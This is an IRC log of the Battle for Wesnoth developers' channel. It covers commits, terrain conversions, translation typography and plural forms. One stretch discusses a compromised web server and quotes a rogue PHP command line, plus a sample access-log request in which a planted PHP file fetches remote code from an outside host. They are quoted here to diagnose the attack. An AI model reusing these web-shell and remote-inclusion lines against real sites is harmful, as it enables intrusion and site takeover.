--- Log opened Mon Sep 13 00:00:52 2010
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20100913 00:39:14< CIA-35> zookeeper * r46429 /trunk/data/core/ (4 files in 2 dirs): Gave bats the feral trait, capping their defense in any village to 40%.
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20100913 00:43:54< CIA-35> zookeeper * r46430 /trunk/data/core/terrain.cfg: Made all villages except for water and swamp villages alias to village,base.
20100913 00:47:14< Espreon> svn up
20100913 00:47:20< Espreon> Whoops...
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20100913 00:48:51< CIA-35> zookeeper * r46431 /trunk/ (changelog players_changelog): Updated changelogs.
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20100913 00:49:12< zookeeper> finally that change's done \o/ i'm gonna test it more extensively tomorrow, but it looks to me like everything's working as it should
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20100913 00:59:08< eleazzaar> Ivanovic: this might be serious enough  to delay release
20100913 00:59:16< eleazzaar> https://gna.org/bugs/?16691
20100913 00:59:39< eleazzaar> i suppose most people wouldn't notice
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20100913 01:00:14< eleazzaar> but at least on my computer it's not possible to change the hotkeys
20100913 01:07:25< crimson_penguin> I still get these message "warning gui/event: Can't execute timer since it no longer exists."
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20100913 03:15:02< clanehin> with multiple leaders per side (single player) can I (actually/simulate) have different recruit lists per leader?
20100913 03:15:47< clanehin> I don't care about the lists carrying over between scenarios.
20100913 03:20:33< Gambit> You can simulate it
20100913 03:20:48< Gambit> Sort of
20100913 03:21:09< Gambit> [set_menu_item] [message] [option] [have_unit]
20100913 03:21:46< Gambit> It will be very ugly and will only work on perfectly hexagonal castles with a 2 hex radius
20100913 03:26:08< clanehin> I'll look at it!
20100913 03:30:01< clanehin> I was hoping I could do it based on select events (or something)
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20100913 04:16:04< esr> fendrin: I'm seeing an unresolved ref to GET_PERSISTENT_RECALLS_FROM4 that looks like yours.
20100913 04:18:00< CIA-35> esr * r46432 /trunk/data/ (3 files in 2 dirs): More wmlscope/wmllint cleanup, adding and improving typechecking.
20100913 04:29:18< CIA-35> esr * r46433 /trunk/data/ (3 files in 3 dirs): Still more typechecking in macros.
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20100913 04:57:41-!- wesbot changed the topic of #wesnoth-dev to: 1.9.1 planned on monday, 18:00 GMT+2 | 154 bugs, 298 feature requests, 16 patches | logs: http://irclogs.wesnoth.org | Don't paste on IRC! Use a pastebin: http://wesnoth.pastebin.com | http://imagebin.org
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20100913 07:48:33< shadowmaster> Gambit: er, you are exaggerating with locking every solved suppor request in Technical Support.
20100913 07:48:39< shadowmaster> *support
20100913 07:49:20< shadowmaster> although I guess it makes sense since we don't have any other elegant way to mark "done" or "solved" stuff
20100913 07:51:05< shadowmaster> ..People. I have an idea.
20100913 07:51:09< shadowmaster> topic icons, usable only by moderators.
20100913 07:51:30< shadowmaster> it doesn't even involve mods. Just appropriate forum permissions, and appropriate icons
20100913 07:53:06< shadowmaster> I'll add the task of finding icons for the implementation to my queue. Expect progress in at least 36 months.
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20100913 08:46:52< Rhonda> wesbot: bug 16653
20100913 08:46:52< wesbot> Bug #16653  Assigned to: Guillaume Melquiond <silene>  Status: Fixed  Priority: 5 - Normal
20100913 08:46:55< wesbot> Summary: Userlist color markup in MP lobby gets truncated at low resolutions
20100913 08:46:58< wesbot> Original submission: With small enough window/fullscreen sizes, in particular 
20100913 08:47:01< wesbot> 800x600, the Multiplayer lobby userlist starts displaying nicknames of a certain
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20100913 08:47:04< wesbot> URL: https://gna.org/bugs/?16653
20100913 08:47:07< wesbot> Attached file (1st): https://gna.org/bugs/download.php?file_id=10215
20100913 08:57:22< CIA-35> fendrin * r46434 /trunk/data/campaigns/Legend_of_Wesmere/ (7 files in 4 dirs): LoW: More multiplayer port implementation.
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20100913 09:18:25< shadowmaster> wesbot: seen boucman
20100913 09:18:25< wesbot> shadowmaster: The person with the nick boucman last spoke 9h 35m ago.  9h 35m ago they left with the message: Quit: Leaving.
20100913 09:18:38< shadowmaster> boucman: are standing animations synchronized?
20100913 09:18:48< shadowmaster> i.e. they always start at the same frame for the same unit type?
20100913 09:19:36< shadowmaster> okay, never mind, it looks like the idle animation playing for one of those two saurians fixed it
20100913 09:21:20< shadowmaster> zookeeper: what is supposed to happen with the recall list in TSG after the end of a choice in the dark, after taking the elvish allies storyline?
20100913 09:23:23< zookeeper> shadowmaster, it's not clearly enough explained? everyone who you don't recall in the next scenario (with gerrick) will be recallable in the next one (by deoran)
20100913 09:23:43< shadowmaster>  ah. I guess I need to pay more attention to the dialogues then
20100913 09:24:27< zookeeper> the lists are then also merged for the final scenario
20100913 09:24:47< zookeeper> there's one line of dialogue which ought to explain it, but i guess there should be a note in the objectives as well
20100913 09:25:28< shadowmaster> the other problem is that I left the game last night right after finishing the earlier scenario and getting to Tidings[...] objectives screen
20100913 09:25:42< shadowmaster> so I probably couldn't remember even if I read the message
20100913 09:27:14< zookeeper> okay
20100913 09:28:18< zookeeper> i'll add a note about that to the objectives
20100913 09:29:40< Ivanovic> moin
20100913 09:30:54< Ivanovic> eleazzaar: not nice, but clearly not a blocker for 1.9.1
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20100913 09:33:52< shadowmaster> esr: "truely" is some archaism, or just "truly" mispelled?
20100913 09:36:50< CIA-35> shadowmaster * r46435 /trunk/data/campaigns/Dead_Water/scenarios/04_Slavers.cfg: 
20100913 09:36:50< CIA-35> Replace Gwabbo's "words of a man" phrase in DW 4 with "words of a merman"
20100913 09:36:50< CIA-35> [Part of http://forums.wesnoth.org/viewtopic.php?p=453526#p453526]
20100913 09:42:48< CIA-35> shadowmaster * r46436 /trunk/data/campaigns/Dead_Water/units/Warrior_King.cfg: 
20100913 09:42:48< CIA-35> s/truely formidible/truly formidable/ in L3 Hero's description in Dead Water
20100913 09:42:48< CIA-35> [Part of http://forums.wesnoth.org/viewtopic.php?p=453526#p453526]
20100913 09:42:48< CIA-35> pofix rules coming soon.
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20100913 09:54:50< CIA-35> shadowmaster * r46437 /trunk/utils/pofix.py: 
20100913 09:54:50< CIA-35> Add pofix rule for r46436
20100913 09:54:50< CIA-35> [Part of http://forums.wesnoth.org/viewtopic.php?p=453526#p453526]
20100913 09:54:50< CIA-35> There will be no rule for r46435 due to a semantic change ("man" -> "merman").
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20100913 10:02:23< Ivanovic> running pofix.py on all of mainline now and a pot-update afterwards
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20100913 10:40:14< CIA-35> ivanovic * r46438 /branches/1.8/po/ (wesnoth-httt/fi.po wesnoth-tutorial/fi.po): change strings in Finnish 1.8 translation to match the 1.9 replacement rules
20100913 10:49:09< CIA-35> ivanovic * r46439 /trunk/po/ (122 files in 19 dirs): 
20100913 10:49:09< CIA-35> apply pofix.py on all of trunk, some special things:
20100913 10:49:09< CIA-35> * fixed some strings in the branches/1.8 Finnish files, using those files for trunk
20100913 10:49:09< CIA-35> * used the branches/1.8 en_GB files since otherwise there are *many* warnings
20100913 10:49:09< CIA-35> * used the trow files from branches/1.8 for all langs beside Serbian
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20100913 11:16:58< Ivanovic> Espreon: is the apostroph and dash conversion now supposed to be completed?
20100913 11:18:31< CIA-35> ivanovic * r46440 /trunk/ (1186 files in 26 dirs): 
20100913 11:18:31< CIA-35> pot-update
20100913 11:18:31< CIA-35> regenerated doc files
20100913 12:10:38< stikonas> Ivanovic: no, there are still unconverted ' characters
20100913 12:11:15< Ivanovic> stikonas: please report them to Espreon/Simon (eg via the bug tracker)
20100913 12:12:48< stikonas> Woudn't it be easier to just find all ' characters in po files?
20100913 12:13:32< stikonas> if not, I can report
20100913 12:13:42< CIA-35> ivanovic * r46441 /trunk/po/ (4 files in 2 dirs): copy some more files from branches/1.8 for translations that had some warnings in the strings and not started working on trunk yet
20100913 12:14:08< Ivanovic> stikonas: not all cases of ' are indeed valid since some can be in strings that are sent to the terminal
20100913 12:14:13< Ivanovic> but yeah, in general this is a good idea
20100913 12:14:37< Ivanovic> and if you managed to create a nice list out of eg the .pot files it would most likely be a good start for Espreon and simons
20100913 12:15:18< stikonas> I have to go for maybe an hour, I'll look later
20100913 12:21:28< Ivanovic> Espreon, stikonas: okay, did some magic grepping using this command inside po/ of latest trunk: grep "'" wesnoth*/wesnoth*.pot | grep -v "\#\."
20100913 12:22:02< Ivanovic> result: http://wesnoth.pastebin.com/rgUG4ena
20100913 12:22:07< Ivanovic> please keep several things in mind:
20100913 12:22:22< Ivanovic> 1) don't "fix" markup stuff since that most likely is not broken!
20100913 12:23:04< Ivanovic> 2) when fixing stuff around variables you have to escape stuff by eg using a '$VAR|' (note the pipe char)
20100913 12:23:14< Ivanovic> 3) do not fix commandline only messages
20100913 12:24:01< Ivanovic> 4) personally i'd recommend keeping the manpages as they are, if you want to fix them anyway you got to change doc/man/wesnoth*.6
20100913 12:24:40< stikonas> So, there are about 100 ' characters that still has to be converted
20100913 12:24:46< Ivanovic> stikonas: no
20100913 12:25:04< Ivanovic> many of those are inside messages that should *not* be converted (eg markup stuff)
20100913 12:25:31< stikonas> yeah, but you pasted ~220 lines
20100913 12:26:14< Ivanovic> this does not change that most stuff is in fact fine
20100913 12:26:38< Ivanovic> though it looks like eg the two brothers changes esr commited were using the old syntax
20100913 12:26:59< Ivanovic> (sounds like the only sane explaination why there are this many two brothers hits)
20100913 12:28:16< stikonas> yeah, I've noticed that TB lacks space after ... in some places after pot-update
20100913 12:40:30< CIA-35> zookeeper * r46442 /trunk/data/campaigns/Heir_To_The_Throne/maps/ (5 files): A few HttT map updates, mostly changing of village types.
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20100913 12:58:47< CIA-35> zookeeper * r46443 /trunk/data/campaigns/ (38 files in 10 dirs): Converted now obsolete village terrains in campaigns.
20100913 13:00:09< CIA-35> zookeeper * r46444 /trunk/data/multiplayer/maps/ (7 files): Converted now obsolete village terrains in multiplayer maps.
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20100913 13:07:17< CIA-35> esr * r46445 /trunk/data/campaigns/Legend_of_Wesmere/scenarios/ (4 files): LoW dialog polish.
20100913 13:12:05< zookeeper> esr, i got a few terrain code conversion rules that ought to be added, coming up in a few minutes...
20100913 13:16:25< Ivanovic> esr: it would be *really* a good idea if you had a look at converting the changed strings in two brothers to follow the new apostroph and elipsis rules for mainline
20100913 13:16:40< zookeeper> esr, here: http://wesnoth.pastebin.com/85igEZm2 however, i guess those conflict with the stuff in wmllint:126
20100913 13:17:57< Ivanovic> zookeeper: regarding the image conversion stuff you should also have a look at two brothers scenario 2
20100913 13:21:07< Ivanovic> there i placed/removed some images depending on the difficulty level
20100913 13:21:07< esr> Er, what does that pastebin have to do with typography?  It looks like map elements. Please sic Espreon on the typography - I don't even know how to input those special characters on a Linux keyboard in Emacs. 
20100913 13:21:07< stikonas> copy/paste
20100913 13:21:07< esr> Oh, sorry,
20100913 13:21:07< esr> Thought zookeeper's thing was from Ivanovic.
20100913 13:21:07< Ivanovic> nope
20100913 13:21:07< Ivanovic> i pasted a link a lot further up
20100913 13:21:07< zookeeper> Ivanovic, uh, what images and where exactly?
20100913 13:21:07< Ivanovic> images?
20100913 13:21:07< Ivanovic> i just remember doing some terrain replacement stuff in the 2nd scenario of two brothers
20100913 13:21:07< Ivanovic> right in the prestart
20100913 13:21:07< Ivanovic> so that there are less villages on hard than on easy
20100913 13:21:07< Ivanovic> not sure if i added villages for easy or removed them for hard
20100913 13:21:07< zookeeper> oh, right, some grassland placement
20100913 13:21:07< zookeeper> not a problem
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20100913 13:21:15-!- Topic for #wesnoth-dev: 1.9.1 planned on monday, 18:00 GMT+2 | 154 bugs, 298 feature requests, 16 patches | logs: http://irclogs.wesnoth.org | Don't paste on IRC! Use a pastebin: http://wesnoth.pastebin.com | http://imagebin.org
20100913 13:21:15-!- Topic set by wesbot [~wesbot@wesnoth/bot/wesbot] [Mon Sep 13 04:57:41 2010]
20100913 13:21:15[Users #wesnoth-dev]
20100913 13:21:15[ ABCD        ] [ clanehin     ] [ ettin    ] [ Ivanovic   ] [ mjs-de      ] [ Tigge    ] 
20100913 13:21:15[ AI0867      ] [ Daltx        ] [ Greywhind] [ iwaim      ] [ Pentalis    ] [ Upth     ] 
20100913 13:21:15[ apoi        ] [ DesertPanther] [ happygrue] [ knotwork   ] [ Rhonda      ] [ Vetinari ] 
20100913 13:21:15[ Appleman1234] [ eleazzaar    ] [ ilor     ] [ koan       ] [ shadowmaster] [ Vir      ] 
20100913 13:21:15[ astraljava  ] [ elias        ] [ ilor_    ] [ lobby      ] [ shikadibot  ] [ Vorpal   ] 
20100913 13:21:15[ Bocom       ] [ erl          ] [ Ingmar   ] [ loonybot   ] [ Smar        ] [ wesbot   ] 
20100913 13:21:15[ chris|      ] [ Espreon      ] [ isaac_   ] [ loonycyborg] [ Soliton     ] [ yann     ] 
20100913 13:21:15[ CIA-35      ] [ esr          ] [ isionous ] [ MeccaGod   ] [ stikonas    ] [ zookeeper] 
20100913 13:21:15-!- Irssi: #wesnoth-dev: Total of 48 nicks [0 ops, 0 halfops, 0 voices, 48 normal]
20100913 13:21:19< zookeeper> but you said "image conversion stuff" which was highly confusing since apparently you meant village conversion ;)
20100913 13:21:22-!- Channel #wesnoth-dev created Tue Jan 27 06:28:41 2009
20100913 13:21:31< Ivanovic> s/image/village
20100913 13:21:35< Ivanovic> ;)
20100913 13:22:06< zookeeper> ah, anyway, good that you said that since i think i forgot to grep for the terrain codes also in .cfg files
20100913 13:22:38-!- Irssi: Join to #wesnoth-dev was synced in 90 secs
20100913 13:22:48< esr> zookeeper: Please combine the old rules with the new in what ever way is appropriate and give me that list.  I don't understand what's going on wit these changes and would undoubtedly screw it up. 
20100913 13:25:04< zookeeper> esr, well, i might also screw up adding them ;)
20100913 13:25:06< zookeeper> however...
20100913 13:25:45< zookeeper> i think you can remove all the old ^V rules there, it seems like if you replace them with my new ones then it'll handle all cases right
20100913 13:26:54< esr> zookeeper: You mean all but the last three rules?
20100913 13:27:37< zookeeper> esr, yes
20100913 13:27:50< esr> Wait...
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20100913 13:31:07< zookeeper> esr, note that i guess some of those need to be in a different order, that is ^Vcha -> ^Vca presumably should come before ^Vch  -> ^Vc
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20100913 13:31:27< esr> This change make me nervous.
20100913 13:31:40< nNa> Hey guys! When I open .pot files from wesnoth-1.8 SVN, I get an error: Malformed Header: '#-#-#-#-# wesnoth.wml.pot (PACKAGE VERSION) #-#-#-#-#'
20100913 13:31:49< zookeeper> esr, why?
20100913 13:31:53< nNa> do you know what is the problem?
20100913 13:32:19< esr> Because it reverses earlier changes and may be non-composable with them.
20100913 13:33:02< esr> (Nocomposability is a bitch when you don't know the version of WML you're lifting.)
20100913 13:33:08-!- DesertPanther [~Khalid@unaffiliated/desertpanther] has quit [Ping timeout: 276 seconds]
20100913 13:33:09< nNa> it only happens with wesnoth.pot
20100913 13:33:38< esr> zookeeper: I'll try it and see what messages I get from a mainline lift.
20100913 13:34:02< zookeeper> esr, it shouldn't matter (i think); these new rules are more or less reverting the previous rules. if you had old WML on which you had not run the current wmllint rules on, then the new rules shouldn't change anything.
20100913 13:34:19< zookeeper> esr, i'm gonna make a few more manual conversions in a few minutes, after that mainline should be clean
20100913 13:34:54< Gambit> shadowmaster: Technical support and ideas are most vulnerable to necromancy
20100913 13:34:58< esr> zookeeper: OK, let me know when I should resync and test wmllint.
20100913 13:35:02< Gambit> But okay I'll lay off.
20100913 13:39:02< CIA-35> zookeeper * r46446 /trunk/data/multiplayer/scenarios/ (6 files in 2 dirs): More village conversions in multiplayer scenarios.
20100913 13:42:22< zookeeper> esr, now
20100913 13:42:31< esr> zookeeper: These patterns, should they be anchored on the right?  That is, should they implicitly have [,\r\n] after?
20100913 13:42:45< zookeeper> umm
20100913 13:43:33< zookeeper> i guess. they're just (parts of) terrain codes, so...
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20100913 13:45:30< CIA-35> zookeeper * r46447 /trunk/data/campaigns/ (2 files in 2 dirs): A few remaining village conversions in campaigns.
20100913 13:45:47< esr> Actually never mind.  These are all monotonic (composable) changes without the anchoring.  Should be OK.
20100913 13:46:58< zookeeper> yeah, as long as the order is right so you don't end up converting ^Vch before ^Vcha
20100913 13:47:19< esr> I've made that change.
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20100913 14:04:25< esr> zookeeper: I have many merge conflicts from map files you just altered by hand.  I'm leaving them as you modified them.
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20100913 14:08:07< zookeeper> esr, okay
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20100913 14:11:37< esr> zookeeper: This is not going well.  I have merge conficts with LoW maps fendrin has been hacking on, too.
20100913 14:11:44< CIA-35> ivanovic * r46448 /branches/1.8/data/campaigns/Under_the_Burning_Suns/units/Desert_Sentinel.cfg: remove a special description that is already done in the special notes...
20100913 14:13:00< esr> zookeeper: I think I'll have to run wmllint, recommit, and hope we dodn't fuck anything up.
20100913 14:15:07< zookeeper> esr, how can you have merge conflicts?
20100913 14:15:31< esr> zookeeper: Did you just modify the Eastern Flank map from Northern Rebirth map?  Because if not something has gone very, very badly wrong with this change.
20100913 14:16:23< zookeeper> esr, yeah, in r46443
20100913 14:16:57< esr> "how can you have merge xconflicts" - you were changing maps by hand while I was working on the wmllint change.
20100913 14:17:21< zookeeper> yeah, but surely you ran svn update before running wmllint?
20100913 14:17:27< CIA-35> ivanovic * r46449 /branches/1.8/ (411 files in 25 dirs): 
20100913 14:17:27< CIA-35> pot-update (almost only a reference update, one changed string in wesnoth-utbs)
20100913 14:17:27< CIA-35> regenerated doc files
20100913 14:18:07< zookeeper> that is, i said i was going to make a few more manual conversions first, so i kinda assumed you wouldn't run wmllint until i was ready :p
20100913 14:22:07< esr> I'm pulling a fresh checkout.
20100913 14:25:31< CIA-35> ivanovic * r46450 /trunk/data/campaigns/Under_the_Burning_Suns/units/elves/Desert_Sentinel.cfg: port r46448 (removal of useless description part) to trunk
20100913 14:25:49< CIA-35> ivanovic * r46451 /branches/1.8/po/wesnoth-utbs/de.po: updated German translation
20100913 14:25:53< CIA-35> ivanovic * r46452 /trunk/ (5 files in 4 dirs): updated German translation
20100913 14:28:39< Ivanovic> stikonas, Espreon: what are the rules for apostroph and elipses stuff?
20100913 14:28:46< Ivanovic> (that is: is there a wiki page with them?)
20100913 14:28:53< Ivanovic> about to fix two brothers myself
20100913 14:30:06< stikonas> Ivanovic: ' should be replaced with ’ (unicode apostroph, your IRC client may have the same font, so you won't see the difference here)
20100913 14:30:59< stikonas> And let's wait Espreon for ... rules as I am not 100% sure
20100913 14:31:02< Ivanovic> apostroph are done, what about rules for using spaces
20100913 14:31:12< stikonas> I think that after ... you have to use space
20100913 14:31:24< stikonas> but I am not sure about the capitalization
20100913 14:31:28< stikonas> after ...
20100913 14:32:06< stikonas> Ivanovic: do you know if it is possible to use plural forms in .lua files (not it .cpp)?
20100913 14:32:15< Ivanovic> no idea
20100913 14:32:30< stikonas> I've fount strings like tostring(_"(%d turns left)"), turn_limit - current_turn + 1
20100913 14:32:48< stikonas> maybe silene will know...
20100913 14:33:03< stikonas> ok, I'll then send translation updates for trunk
20100913 14:33:03< zookeeper> hmh?
20100913 14:33:19< zookeeper> stikonas, what do you need done about that string?
20100913 14:34:22< zookeeper> that _"(%d turns left)" string will only be used when %d is >1
20100913 14:34:26< esr> Oh great - "Disconnecting: Packet corrupt" while trying to check out.
20100913 14:34:47< stikonas> zookeeper: many non-english languages have different plural forms
20100913 14:34:53< stikonas> for different %d values
20100913 14:35:36< stikonas> zookeeper: and at least in .cpp files I've seen it done correctly in some places, I can look for an example
20100913 14:37:09< stikonas> e.g. message = vngettext("Friendly unit sighted", "$friends friendly units sighted", nfriends, symbols); in src/actions.cpp:2547
20100913 14:37:23< zookeeper> esr, sounds a bit slow to actually download a new checkout...can't you just clone one that you already have and then revert all changes in it?
20100913 14:37:39< zookeeper> stikonas, i still don't see what's the problem
20100913 14:37:43< stikonas> http://www.gnu.org/software/hello/manual/gettext/Plural-forms.html
20100913 14:38:10< zookeeper> reading..
20100913 14:38:15< stikonas> for example in Lithuanian we have liko 21 ėjimas but liko 22 ėjimai
20100913 14:39:13< stikonas> silene implemented i18n stuff for Wesnoth, so he should know more if it is possible
20100913 14:40:05< zookeeper> oh dear, that's complicated.
20100913 14:40:19< stikonas> indeed
20100913 14:40:28< stikonas> but Wesnoth has some machinery for this
20100913 14:40:53< stikonas> I'm just not sure if it works with lua, since it does work with cpp files, but doesn't work with WML
20100913 14:41:00< zookeeper> i'll...leave that to silene, or anyone. i have next to do understanding of the fancier translation-related stuff we have.
20100913 14:41:10< zookeeper> s/do/no
20100913 14:41:52< esr> Lithuanian grammar must have been designed by a malevolent god.  I only know a handful of languages naster, and they're *really* obscure ones like Burushaski. :-)
20100913 14:42:13< esr> s/naster/nastier/
20100913 14:43:29< stikonas> esr: yeah, it is really nasty, Lithuanian is one of the most arcaic indoeuropean languages. But plural forms are present to many indoeuropean languages
20100913 14:45:22< esr> stikonas: Hungarian is a strange case.  Single, plural, and *dual* forms.  One, two, many.
20100913 14:45:56< stikonas> Lithuanian used to have dual forms, but I think it has disappeared maybe 200 years ago (not sure now)
20100913 14:46:56< CIA-35> ivanovic * r46453 /trunk/utils/pofix.py: remove rules that no longer apply to two brothers and fix a rule by extending it (you need something before the part that is replaced as well as behind it)
20100913 14:48:09< CIA-35> ivanovic * r46454 /trunk/data/campaigns/Two_Brothers/scenarios/ (5 files): 
20100913 14:48:09< CIA-35> fix some of the parts that are not following the new rules for apostrophes, elipses and the likes
20100913 14:48:09< CIA-35> @Espreon and Simon: please have a look at it to make sure it is a) correct and b) that no things are missing
20100913 14:48:09< CIA-35> what I know is missing: conversion of - to the correct dashes
20100913 14:58:23< esr> stikonas: You're LLthuanian? :-)
20100913 14:58:54< stikonas> esr: yes, but now I live mostly in UK, Cambridge
20100913 14:59:15< esr> stikonas: Ah. I visitec Vilinius once.
20100913 14:59:30< esr> Vilnius, I mean.
20100913 14:59:51< stikonas> I was probably a child then...
20100913 15:01:29< esr> Probably not, this was in 2004.  An odd experience - lots of ugly grey crumbling building but streets full of lovely young women.  And I saw the only Frank Zappa memorial in the world :-) 
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20100913 15:29:31< norbert_> Soliton: might be a (serious) problem with the website
20100913 15:29:36< norbert_> see for example wesnoth.org:8080/7159/buy-Adobe-Photoshop-Cs3-Extended.html
20100913 15:30:01< norbert_> or wesnoth.org:8080/7788/buy-Adobe-Fireworks-Cs5.html
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20100913 15:35:01< Soliton> hmm, i see.
20100913 15:36:00< Soliton> gone now but i have no idea where it is really coming from...
20100913 15:36:11< Soliton> norbert_: how did you find out about it?
20100913 15:36:24< norbert_> I search for something via Google and included site:wesnoth.org
20100913 15:36:47< Smar> what is running at that :8080 in first place?
20100913 15:37:17< Soliton> we have issues with a rogue php process popping up that i have no idea where it is coming from or how to further debug.
20100913 15:37:54< Smar> uhh...
20100913 15:38:16< Smar> sounds like the server is compromized 
20100913 15:38:37< Smar> who’s admin of the server? can’t he look about it?
20100913 15:38:37< Soliton> some vulnerability is being abused, yes.
20100913 15:38:50< Soliton> i am one of them and see above.
20100913 15:38:54< Gambit> Smar: What? You think they're not trying?
20100913 15:38:58< Smar> :/
20100913 15:39:15< Smar> Gambit: I often see a case where actual users of the server can’t do anything by missing privileges
20100913 15:39:31< Soliton> i have not much clue about php. so no idea what tools there are to figure anything out.
20100913 15:39:33< Gambit> [insert Stargate Atlantis "Mr. Wizard" quote here]
20100913 15:39:54< Smar> Soliton: have you looked about accesses to server?
20100913 15:40:05< Soliton> best i can do is attach to the process with strace and see that it is constantly calling a datetime function.
20100913 15:40:31< Soliton> Smar: apaches access.log or what do you refer to?
20100913 15:40:42< Smar> no, [ssh] logins
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20100913 15:41:18< Soliton> this has nothing to do with someone actually gaining ssh access.
20100913 15:41:47< Soliton> it's some vulnerability of the website.
20100913 15:41:58< norbert_> I've had the same issue with a website I'm webmaster for
20100913 15:41:59< Soliton> the php process is started from apache.
20100913 15:42:06< Smar> hmm... 
20100913 15:42:10< norbert_> first I deleted the php files, but they kept reappearing
20100913 15:42:26< norbert_> it turned out that they were calling some hidden php files in a directory
20100913 15:42:31< Soliton> the thing is i don't see the files referenced in the php command that is running.
20100913 15:42:37< Smar> Soliton: how you can recognize this process out?
20100913 15:42:45< Soliton> see as in they're not there.
20100913 15:43:00< Soliton> probably quickly deleted.
20100913 15:43:06< Smar> you can just give cli-php directly the code 
20100913 15:43:25< Soliton> the command looks like: /usr/bin/php -n -d safe_mode=off -d max_execution_time=99999 -d expose_php=off /tmp/sess_44fae9a35f3ad6c0378e312aee9b5ed544fae9a3 -c /tmp/sess_5de5b9eea213e8730c6da3f53a9eaf445de5b9ee.ini --ppid=29132 --cr=137
20100913 15:43:49< Soliton> those sess_* files are not there though.
20100913 15:44:05< Smar> those are session files
20100913 15:44:22< Soliton> well, what's in them?
20100913 15:44:35< Smar> do you know how php’s sessions work?
20100913 15:44:38< Soliton> i would assume the non ini one contains the php code, no?
20100913 15:44:52< Soliton> nope.
20100913 15:44:59< Smar> I’ve never seen this ini one before, but...
20100913 15:45:31< Smar> in a nutshell, your browser stores SESSID in a cookie, and prior request php can take session data from the server’s session file
20100913 15:45:41< Smar> which seems to be in this case stored at /tmp
20100913 15:45:59< Smar> so the attack is most likely one that allows attacker insert what it wants to session file
20100913 15:46:34< Smar> then there is another vulnerability that lets user to run commands in the server, which is used to run php with those parameters
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20100913 15:47:22< Soliton> any idea what one could look for in access.log? should be some traces of it in there...
20100913 15:47:33< Smar> basically attacker would have access to the server already, if kernel is faulty and not protected (and attacker doesn’t have any kind of vulnerability still not known)
20100913 15:48:10< norbert_> I know what the code looks like
20100913 15:48:11< norbert_> brb
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20100913 15:48:23< Smar> is there any php files that are known to do things I described?
20100913 15:48:31< Soliton> if they can indeed run arbitrary commands.
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20100913 15:48:49< Smar> well, they must be able to, since apache doesn’t use php directly
20100913 15:48:55< norbert_> the spam code is being added via a php file that's hidden somewhere, probably in an images directory
20100913 15:49:09< norbert_> "GET /images/zy4fr.php?f=http://yourutils.info/upl/out/ca.php HTTP/1.1" 200 14 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.6 (KHTML, like Gecko) Chrome/4.0.266.0 Safari/532.6"
20100913 15:49:14< norbert_> that's what it will look like
20100913 15:49:32< norbert_> so they get the php file and add their php file to it
20100913 15:49:33< Smar> that could be it
20100913 15:50:01< Smar> is your phpbb’s upload functionality safe, for example?
20100913 15:50:24< Soliton> no idea. but generally i'd blame phpbb for this mess. :-P
20100913 15:50:24< Smar> it has had many grave holes in its history
20100913 15:52:03< zookeeper> eleazzaar, you around?
20100913 15:52:06< norbert_> anyways, good luck with it, gotta go
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20100913 15:52:36< Smar> I’ll try to do some work things... if you need more stupid ideas, just say :)
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20100913 16:04:23< CIA-35> zookeeper * r46455 /trunk/data/multiplayer/maps/ (5 files): Map updates from Doc Paterson.
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20100913 16:33:38< esr> Ivanovic: My god a full checkout is huge.  Think it might be time to trim some dead branches?
20100913 16:33:43< CIA-35> ivanovic * r46456 /branches/1.8/po/ (wesnoth-ei/ja.po wesnoth-utbs/ja.po): updated Japanese translation
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20100913 16:34:06< Ivanovic> esr: noone is ever meant to do a complete checkout considering how svn works
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20100913 16:34:19< Ivanovic> since every release gets a tag that is a complete copy of the tree in svn
20100913 16:34:35< Ivanovic> this is intentional, yeah
20100913 16:34:45< esr> Ivanovic: How do I get trunk and resources without all the other crap, though?
20100913 16:34:55< Ivanovic> simple, you make >1 checkout
20100913 16:35:12< esr> *grumble*
20100913 16:35:12< Ivanovic> one for resources, one for trunk, one for each of the other branches you want
20100913 16:35:30 * esr wishes we would switch to git...
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20100913 16:37:41< stikonas> gna.org will never support git :(
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20100913 16:43:27< CIA-35> ivanovic * r46457 /trunk/ (30 files in 27 dirs): updated Lithuanian translation
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20100913 16:52:00< CIA-35> zookeeper * r46458 /trunk/ (changelog players_changelog): Updated changelogs.
20100913 16:52:05< nNa> hello, i'm translation wesnoth-manpages and i wonder, should i translate WESNOTH, SYNOPSIS, EXIT STATUS... (the comment is "Type: SH")
20100913 16:53:14-!- timotei [~timotei@wesnoth/developer/timotei] has joined #wesnoth-dev
20100913 16:53:48< timotei> hiiiiiii:D
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20100913 16:53:58< timotei> long time no see
20100913 16:54:00< timotei> :P
20100913 16:55:01< Ivanovic> nNa: are you using linux?
20100913 16:55:11< Ivanovic> if you are, call "man wesnoth" to get an idea what you are working on
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20100913 16:55:29< nNa> Ivanovic: I figured it out... it only larger text
20100913 16:55:44< nNa> i'm viewing man wesnoth(6) online btw
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20100913 16:57:41-!- wesbot changed the topic of #wesnoth-dev to: 1.9.1 planned on monday, 18:00 GMT+2 | 155 bugs, 298 feature requests, 16 patches | logs: http://irclogs.wesnoth.org | Don't paste on IRC! Use a pastebin: http://wesnoth.pastebin.com | http://imagebin.org
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20100913 17:07:02< nNa> how many man pages does wesnoth have?
20100913 17:09:14< CIA-35> zookeeper * r46459 /trunk/data/core/terrain.cfg: Allowed the Ss^Vhs swamp village to be placed on different base terrains. Also a bunch of trailing whitespace trimming.
20100913 17:12:09< Soliton> 2
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20100913 17:57:59< CIA-35> anonymissimus * r46460 /trunk/changelog: Mentioned [move_unit] tag (forgotten in r45655).
20100913 17:59:11< CIA-35> anonymissimus * r46461 /trunk/src/game_events.cpp:
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20100913 18:01:55< CIA-35> anonymissimus * r46462 /trunk/src/game_events.cpp: Reverted previous commit without message (sorry).
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20100913 18:05:57< Soliton> doing a diff before commit helps. (even easier with git) ;-)
20100913 18:07:08< timotei> it isn't so bad to commit without a message isn't it?:P
20100913 18:10:00< Gambit> It's the 8th deadly sin.
20100913 18:10:07< anonymissimus> no I was just too quick
20100913 18:10:19< anonymissimus> thought it's another window
20100913 18:20:38< CIA-35> alink * r46463 /trunk/src/generate_report.cpp: 
20100913 18:20:38< CIA-35> Show final damage value in the damage-type tooltip, not just resistance.
20100913 18:20:38< CIA-35> Note that it ignores location-specific bonus (leadership and local ToD) because it's about unit types
20100913 18:22:10< alink> quick English question: Damage: 5 (-30%) vs Trolls, Bugs, ...    "vs" seems a bit odd now, does "to" is better ?
20100913 18:23:06< alink> because it does 5 damage *to* trolls, bugs, etc
20100913 18:23:30< timotei> yes and no
20100913 18:23:45< timotei> vs is good too, because you get that damage when you 'pvp' versus those
20100913 18:23:59< alink> you mean uvu ;p
20100913 18:24:11< timotei> uvu?
